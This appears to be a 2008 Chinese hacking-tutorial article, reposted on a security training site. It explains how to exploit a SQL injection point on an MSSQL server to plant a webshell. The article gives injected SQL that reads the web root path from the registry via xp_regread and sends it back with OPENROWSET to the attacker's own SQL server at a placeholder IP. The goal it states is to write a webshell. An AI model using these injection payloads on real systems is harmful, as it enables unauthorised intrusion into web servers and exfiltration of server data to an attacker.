首页 实地培训 VIP专区 文章中心 下载中心 精品动画 安全服务 安全产品 企业文化
技术论坛
 -->开创网络首先基于以学员为中心的人性化教学方式。以案例式教学、互动式教学为主线。
 
  当前位置: 首页 > 文章中心 > 黑客技术 >
 
 
MSSQL的openrowset命令获取路径得到Webshell
发布者ID:3 作者: 发布时间:2008-04-04 08:55:40 来源: 点击:
 

来源:陆羽's blog
得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表 

SQL代码
  1. create table [dbo].[fenggou]([cha8][char](255))--  

在对方执行 

SQL代码
  1. DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots''/' ,@result output insert into fenggou (cha8) values('Select a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'', ''Select * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--  

这样fenggou这个表里就会有这样一条记录

SQL代码
  1. Select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码''Select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a  

不用说,''D:\WEB"就是从注册表里读出的物理路径拉.然后执行

SQL代码
  1. DECLARE @a1 char(255) set @a1=(Select cha8 FROM fenggou) exec (@a1);--  

等于执行了

SQL代码
  1. Select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码''Select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a  

OK,这时你在你机器上SQL事件追踪器上就会显示

SQL代码
  1. Select * FROM pubs.dbo.authors where au_fname='D:\WEB,,1'  


 
 
 
 
   
 
   
     
  • 课堂实景
  • 课程体系
  • 培训课程
  • 学费介绍
  • 巧用mstsc命令登录到console的方法
  • 课程介绍
  • 团队介绍
  • Linkideo免费Vpn
  • 就业前景
  • 汇款方式
  •  
     
     
    无标题文档
    一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网
      关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 友情链接  
      版权所有:吉林省开创科技信息有限公司  
      服务热线:0431-84714442
    Copyright 2001 - 2007 All Rights Reserved